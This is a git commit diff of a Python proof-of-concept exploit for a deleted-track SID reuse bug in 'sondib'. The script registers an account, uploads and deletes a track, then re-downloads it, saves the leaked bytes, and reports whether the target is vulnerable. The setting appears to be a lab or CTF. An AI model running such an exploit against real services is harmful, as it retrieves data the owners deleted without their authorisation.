Make sondib exploit reproducible

This commit is contained in:
yato committed 2026-11-29 16:21:35 +03:00
1 parent bd73021ac4
commit 2e40343331
1 file changed
+51 -43
+51 -43
View File
@@ -1,17 +1,20 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""PoC for the deleted-track SID reuse bug in sondib. """Exploit the deleted-track SID reuse bug in sondib.
Exit status is 0 when the target is vulnerable (a deleted track is returned), The PoC downloads a track before deletion, deletes it, then downloads the
and 1 when the target rejects the deleted SID as expected after the fix. same SID/key again. A second non-empty download proves the vulnerability.
Exit codes: 0 vulnerable, 1 patched, 2 setup or communication error.
""" """
from __future__ import annotations from __future__ import annotations
import argparse
import re import re
import secrets import secrets
import subprocess import subprocess
import sys
import tempfile import tempfile
import time
from pathlib import Path from pathlib import Path
@@ -19,82 +22,87 @@ SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$") SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]: def run_sdb(target: str, *args: str, timeout: int = 10) -> subprocess.CompletedProcess[bytes]:
command = [str(SDB), args[0], target, *args[1:]] command = [str(SDB), args[0], target, *args[1:]]
try: try:
return subprocess.run( return subprocess.run(
command, command,
stdout=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stderr=subprocess.PIPE,
timeout=10, timeout=timeout,
check=False, check=False,
) )
except subprocess.TimeoutExpired: except subprocess.TimeoutExpired:
return subprocess.CompletedProcess( return subprocess.CompletedProcess(command, 124, b"", b"sdb timed out")
command,
124,
b"",
b"sdb timed out after 10 seconds",
)
def output(result: subprocess.CompletedProcess[bytes]) -> bytes: def text_output(result: subprocess.CompletedProcess[bytes]) -> str:
return result.stdout + b"\n" + result.stderr return (result.stdout + b"\n" + result.stderr).decode(errors="replace").strip()
def fail(message: str) -> int: def fail(message: str) -> int:
print(f"error: {message}", file=sys.stderr) print(f"error: {message}")
return 2 return 2
def main() -> int: def main() -> int:
if len(sys.argv) != 2: parser = argparse.ArgumentParser(description=__doc__)
print(f"usage: {Path(sys.argv[0]).name} TARGET", file=sys.stderr) parser.add_argument("target", nargs="?", default="10.80.19.2")
return 2 parser.add_argument("-o", "--output", type=Path, help="save leaked SDZ here")
args = parser.parse_args()
target = sys.argv[1]
if not SDB.is_file(): if not SDB.is_file():
return fail(f"sdb client not found: {SDB}") return fail(f"sdb client not found: {SDB}")
username = f"reuse_{secrets.token_hex(4)}" username = f"reuse{secrets.token_hex(5)}"
password = secrets.token_urlsafe(12) password = f"pw{secrets.token_hex(6)}"
registered = run_sdb(target, "register", username, password) registered = run_sdb(args.target, "register", username, password)
if registered.returncode != 0: if registered.returncode != 0:
return fail(f"register failed: {output(registered).decode(errors='replace').strip()}") return fail(f"register failed: {text_output(registered)}")
with tempfile.NamedTemporaryFile(prefix="sondib-probe-", suffix=".pcm") as pcm: with tempfile.NamedTemporaryFile(prefix="sondib-probe-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024) pcm.write(b"\0" * 1024)
pcm.flush() pcm.flush()
uploaded = run_sdb( uploaded = run_sdb(
target, args.target, "upload", username, password,
"upload", "deleted-probe", "p", pcm.name,
username,
password,
"deleted-probe",
"p",
pcm.name,
) )
match = SID_KEY.search(output(uploaded)) match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr)
if not match: if not match:
return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}") return fail(f"upload did not return SID/key: {text_output(uploaded)}")
sid, key = (part.decode() for part in match.groups()) sid, key = (part.decode() for part in match.groups())
# sdb reports the server's status byte as its process status. Mutating
# commands can therefore return non-zero even after the server accepted
# the request (the upload above is one example). The download result is
# the authoritative oracle for this PoC, so do not reject that response.
run_sdb(target, "delete", username, password, sid, key)
downloaded = run_sdb(target, "download", sid, key) before = run_sdb(args.target, "download", sid, key)
if downloaded.stdout: if not before.stdout:
print(f"VULNERABLE: deleted track {sid} is still downloadable ({len(downloaded.stdout)} bytes)") return fail(f"fresh track was not downloadable: {text_output(before)}")
# sdb exposes the server status byte as its process status; mutating
# commands can be non-zero even when the state change succeeded.
run_sdb(args.target, "delete", username, password, sid, key)
time.sleep(0.2)
after = run_sdb(args.target, "download", sid, key)
if after.stdout:
output_path = args.output
if output_path is None:
handle = tempfile.NamedTemporaryFile(
prefix=f"sondib-leak-{sid}-", suffix=".sdz", delete=False
)
output_path = Path(handle.name)
handle.close()
output_path.write_bytes(after.stdout)
print(
f"VULNERABLE: deleted track {sid} returned {len(after.stdout)} bytes; "
f"saved to {output_path}"
)
return 0 return 0
print(f"blocked: deleted track {sid} was not returned") if after.returncode != 0:
print(f"blocked: deleted track {sid} was rejected")
return 1 return 1
return fail("download returned no data without a protocol error")
if __name__ == "__main__": if __name__ == "__main__":